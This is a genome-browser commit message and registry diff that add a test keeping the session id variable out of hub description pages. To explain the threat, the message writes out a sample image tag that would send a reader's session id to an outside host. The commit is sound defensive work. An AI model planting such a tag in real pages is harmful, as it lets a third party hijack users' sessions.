d898b4820087cccd79e240153bc310856bb89310
braney
  Sat Sep 19 18:22:49 2026 -0700
hVarSubstHtmlTester: pin which variables a description page may use

A native description page has been through hgTrackDb already, which resolved
everything it could and deferred only ${hgsid}, so the render pass acts on that
one variable and only in braces: hgTrackDb collapses an escaped $$hgsid to a
literal $hgsid, and acting on the bare form here would expand the very thing
the author escaped.

A hub's page has never been substituted, so the whole hub list is resolved at
render time, and $hgsid is deliberately not on that list.  A hub page is only
lightly sanitized -- an <img> with an http src survives -- so a page carrying
<img src="https://example.com/px?s=${hgsid}"> would hand the reader's session
id to the hub's own server, and a session id alone is enough to read and write
that cart.  The page renders the same either way and the request goes to
somebody else's host, so nothing about this is visible here.

The test builds a cart by hand rather than opening one.  That is not a
shortcut, it is the point: a cartless version of this test was written first,
and adding hgsid back to hubHtmlVars changed not one line of its output,
because the check that recognises a variable also asks whether this call can
resolve it, and with no cart it cannot.  cartSessionId reads two fields, so a
struct built in the test is enough and no database is involved.

Watched to fail and then pass: with hgsid back on the hub list, both hub cases
come back with the session id substituted into the img src.  Recorded as
sandbox-ab in utils/testRegistry.

refs #38283, refs #38391

diff --git src/utils/testRegistry/registry.tsv src/utils/testRegistry/registry.tsv
index 6083f597936..276b94a7e53 100644
--- src/utils/testRegistry/registry.tsv
+++ src/utils/testRegistry/registry.tsv
@@ -61,29 +61,29 @@
 38185	504	hg/hgSession/tests/backupParseTest.c	rm38185.docent.yaml	invisible	unrecorded	an empty pair in a session backup must not eat the variable in front of it
 38185	504	lib/tests/cgiParseTest.c	rm38185.docent.yaml	invisible	unrecorded	an empty CGI pair must not abort the request
 38198	504	-	rm38198.docent.yaml	library	-	needs one: a second lift has to update a track already in the hub
 38225	504	hg/lib/tests/mallocTopPadTester.c	-	perf	sandbox-ab	the hg.conf step size reaches the C library: the heap grows in one 16 MB jump, not the default one
 38233	504	-	-	perf	-	needs one: RefSeq status is asked once per track, not once per gene; the test has to count the queries, not the seconds
 38236	504	-	rm38236.docent.yaml	library	-	needs one: a quickLift chain with no aligned block in the window must not crash
 38248	504	-	rm38248.docent.yaml	library	-	needs one: a deprecated versioned NP_ accession has to resolve to RefSeq Historical
 38249	504	hg/lib/tests/quickLiftTester.c	rm38249.docent.yaml	library	unrecorded	the target strand of a reverse complemented protein, found in the #38349 review
 38253	504	-	-	perf	-	needs one: item coverage is built from feature runs, not one counter per base; the test has to go red if a per-base pass comes back
 38254	504	-	-	invisible	-	needs one: a composite subtrack's visibility has to settle before the parallel loaders start
 38256	504	hg/utils/hubCheck/tests/makefile::relPath	-	library	unrecorded	a local hub given by a relative path: bigDataUrl resolved once, not twice
 38260	504	hg/utils/hubCheck/tests/makefile::missingFile	-	library	unrecorded	hubCheck must say something about a bigDataUrl it cannot open
 38268	504	-	rm38268.docent.yaml	invisible	-	needs one: the tightened dataVersion path check
 38272	504	-	rm38272.docent.yaml	invisible	-	needs one: a GenArk quickLift source assembly must not be looked for in MySQL
 38273	504	-	-	perf	-	needs one: a collection's hub file is copied when it is written, not on every session load; the test has to count the copies
-38283	504	-	rm38283.docent.yaml	library	-	needs one: description page variables substituted once, and in the container
+38283	504	hg/lib/tests/hVarSubstHtmlTester.c	rm38283.docent.yaml	library	sandbox-ab	a hub description page may not use $hgsid, and a native one may use only the braced form
 38285	504	hg/lib/tests/input/hgvs/validTerms.txt	rm38285.docent.yaml	library	unrecorded	bare codon numbers and ranges, with expected/hgvs/validTerms.txt beside it
 38302	504	-	rm38302.docent.yaml	invisible	-	needs one: an activation token that is missing, empty or older than seven days is invalid
 38303	504	hg/lib/tests/trashDirTester.c	rm38303.docent.yaml	invisible	sandbox-ab	a session file path spelled through a symlinked config directory, which broke 583 saved sessions
 38309	504	-	rm38309.docent.yaml	invisible	-	needs one: exonFrames must not be read past the end on a transcript's last exon
 38313	504	-	-	library	-	needs one: a user's own __ sessions must not be hidden from My Sessions
 38317	504	-	-	invisible	-	needs one: doKnownGene must not read an uninitialised stack refLink
 38318	504	hg/lib/tests/sessionDataTester.c	-	invisible	unrecorded	the returned path must be freeable through kent's own handler stack
 38320	504	lib/tests/faSpeedReadTest.c	-	invisible	unrecorded	the buffer grower and its caller must agree on the size
 38323	504	-	-	library	-	needs one: an api key made on one geo mirror has to work on all of them
 38328	504	-	-	invisible	-	needs one: the liftOver accession list passed as an slName list
 38335	504	lib/tests/cgiParseTest.c	rm38335.docent.yaml	invisible	unrecorded	a pair with no =value must not lose the variable
 38340	504	hg/hgSession/tests/backupParseTest.c	-	invisible	unrecorded	the same pair, read back out of a session backup
 38340	504	lib/tests/cgiCookieTest.c	-	invisible	unrecorded	the same pair in a cookie header